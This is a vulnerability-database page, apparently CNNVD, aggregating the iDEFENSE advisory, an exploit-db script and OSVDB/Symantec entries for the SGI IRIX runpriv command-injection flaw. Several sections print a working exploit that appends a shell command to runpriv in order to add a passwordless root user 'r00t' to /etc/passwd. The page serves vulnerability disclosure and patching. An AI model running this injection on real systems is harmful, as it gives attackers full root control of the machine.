|发布时间 :2005-10-12 09:04:00|
|修订时间 :2008-09-05 16:53:00|
[原文]runpriv in SGI IRIX allows local users to bypass intended restrictions and execute arbitrary commands via shell metacharacters in a command line for a privileged binary in /usr/sysadm/privbin.
[CNNVD]SGI IRIX Runpriv本地权限提升漏洞(CNNVD-200510-063)
runpriv程序是用于检查用户权限并执行特定预定义命令的setuid root应用程序。多个IRIX 6版本默认下安装了这个程序。
- CVSS (基础分值)
- CPE (受影响的平台与产品)
- OVAL (用于检测的技术细节)
(VENDOR_ADVISORY) IDEFENSE 20051010 SGI IRIX runpriv Design Error Vulnerability
(UNKNOWN) XF irix-runpriv-command-injection(22561)
(UNKNOWN) BID 15055
(UNKNOWN) BUGTRAQ 20060311 SGI IRIX 6.*usr/sysadm/bin/runpriv local root exploit
(UNKNOWN) OSVDB 19907
(UNKNOWN) SECTRACK 1015031
(UNKNOWN) SECUNIA 17131
(UNKNOWN) SGI 20051001-01-P
|SGI IRIX Runpriv本地权限提升漏洞|
|2005-10-12 00:00:00||2005-10-20 00:00:00|
| runpriv程序是用于检查用户权限并执行特定预定义命令的setuid root应用程序。多个IRIX 6版本默认下安装了这个程序。
- 漏洞信息 (1577)
|SGI IRIX <= 6.5.28 (runpriv) Design Error Vulnerability (EDBID:1577)|
#!/bin/sh # Advisory: http://www.idefense.com/intelligence/vulnerabilities/display.php?id=312 /usr/sysadm/bin/runpriv mountfs -s test -d / -o | "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123 /etc/passwd ; chmod 644 /etc/passwd ; su" # milw0rm.com [2005-10-10]
- 漏洞信息 (F40574)
|iDEFENSE Security Advisory 2005-10-10.t (PacketStormID:F40574)|
|iDefense Labs idefense.com|
iDEFENSE Security Advisory 10.10.05-1 - Local exploitation of a design error vulnerability in the runpriv command included in multiple versions of Silicon Graphics Inc.'s IRIX could allow for arbitrary code execution as the root user. iDEFENSE has confirmed the existence of this vulnerability in SGI IRIX version 6.5.22 (maintenance). It is suspected that previous and later versions of both the feature and maintenance revisions of IRIX 6.5 are also vulnerable.
SGI IRIX runpriv Design Error Vulnerability iDEFENSE Security Advisory 10.10.05 www.idefense.com/application/poi/display?id=312&type=vulnerabilities October 10, 2005 I. BACKGROUND The runpriv program is a setuid root application that checks to see if a regular user has been granted privileges to execute a certain predefined command, and if so it runs the command found in the directory /usr/sysadm/privbin with root privileges. It is installed by default under multiple versions of IRIX 6. II. DESCRIPTION Local exploitation of a design error vulnerability in the runpriv command included in multiple versions of Silicon Graphics Inc.'s IRIX could allow for arbitrary code execution as the root user. The runpriv program is a setuid root application that checks to see if a regular user has been granted privileges to execute a certain predefined command, and if so it runs the command found in the directory /usr/sysadm/privbin with root privileges. The vulnerability specifically exists because runpriv unsafely executes commands after it has verified a user's privileges. This allows an attacker who has been given privileged access to one binary in /usr/sysadm/privbin to effectively execute any command as root. To exploit this vulnerability, all that is required is appending a string of the form "command to execute" to the end of an otherwise authorized and legitimate command. For example, if a user has been authorized to run the mountfs utility, they can exploit this vulnerability in the following way: /usr/sysadm/bin/runpriv mountfs -s test -d / -o \| "ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'" su r00t -c "chown root:sys /tmp/passwd123 ; mv /tmp/passwd123 /etc/passwd ; chmod 644 /etc/passwd ; su" This will have the effect of adding an administrative user "r00t" to the system with no password, which allows for trivial privilege escalation. III. ANALYSIS Exploitation requires an attacker to have access to an account which has been granted usage of a binary in the /usr/sysadm/privbin directory. As root must explicitly allow such privileges, the impact of this vulnerability is lessened significantly. Exploitation does not require any knowledge of application internals, making exploitation trivial, even for unskilled attackers. IV. DETECTION iDEFENSE has confirmed the existence of this vulnerability in SGI IRIX version 6.5.22 (maintenance). It is suspected that previous and later versions of both the feature and maintenance revisions of IRIX 6.5 are also vulnerable. V. WORKAROUND Only grant runpriv privileges to trusted users with secure accounts. Alternately, remove the setuid and setgid bits from runpriv: chmod ug-s /usr/sysadm/bin/runpriv VI. VENDOR RESPONSE A vendor advisory for this vulnerability is to be posted at: http://www.sgi.com/support/security/advisories.html Vendor patch 7004 for IRIX 6.5.27 and 6.5.28 is available at: http://support.sgi.com/ VII. CVE INFORMATION The Common Vulnerabilities and Exposures (CVE) project has assigned the name CAN-2005-2925 to this issue. This is a candidate for inclusion in the CVE list (http://cve.mitre.org), which standardizes names for security problems. VIII. DISCLOSURE TIMELINE 09/08/2005 Initial vendor notification 09/09/2005 Initial vendor response 10/05/2005 Coordinated public disclosure IX. CREDIT The discoverer of this vulnerability wishes to remain anonymous. Get paid for vulnerability research http://www.idefense.com/poi/teams/vcp.jsp Free tools, research and upcoming events http://labs.idefense.com X. LEGAL NOTICES Copyright (c) 2005 iDEFENSE, Inc. Permission is granted for the redistribution of this alert electronically. It may not be edited in any way without the express written consent of iDEFENSE. If you wish to reprint the whole or any part of this alert in any other medium other than electronically, please email firstname.lastname@example.org for permission. Disclaimer: The information in the advisory is believed to be accurate at the time of publishing based on currently available information. Use of the information constitutes acceptance for use in an AS IS condition. There are no warranties with regard to this information. Neither the author nor the publisher accepts any liability for any direct, indirect, or consequential loss or damage arising from use of, or reliance on, this information. _______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
|IRIX runpriv Arbitrary Command Execution|
|Remote / Network Access||Input Manipulation|
|Loss of Integrity|
|Exploit Public||Vendor Verified|
|IRIX contains a flaw that may allow a malicious user to gain access to unauthorized privileges. The issue is triggered when a malicious user appends a string, which contains additional commands to execute, to the end of an authorized command string. This flaw may lead to a loss of integrity.|
|Currently, there are no known workarounds or upgrades to correct this issue in version 6.5.22. However, IRIX has released a patch to address this vulnerability in version 6.5.27 and version 6.5.28.|
|Unknown or Incomplete|
|SGI IRIX Runpriv Local Privilege Escalation Vulnerability|
|2005-10-10 12:00:00||2009-07-12 05:07:00|
|Discovery is credited to an anonymous researcher.|
|SGI IRIX 6.5.22 m
|SGI IRIX runpriv can allow local attackers to gain elevated privileges.
A local user can append an arbitrary command while executing the application and have the commands executed with superuser privileges.
A successful attack can allow the attacker to gain elevated privileges and completely compromise an affected computer.
IRIX 6.5.22 (maintenance) is reportedly vulnerable, however, other versions are likely to be affected as well.
An exploit is not required.
The following proof of concept is available:
/usr/sysadm/bin/runpriv mountfs -s test -d / -o \|
"ksh -c 'echo r00t::0:0:r00t:/tmp:/bin/sh >> /etc/passwd'"
Reports indicate that the vendor has released an advisory and fixes to address this issue. Symantec was not able to verify this information. Please contact the vendor for more information.
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: email@example.com <mailto:firstname.lastname@example.org>.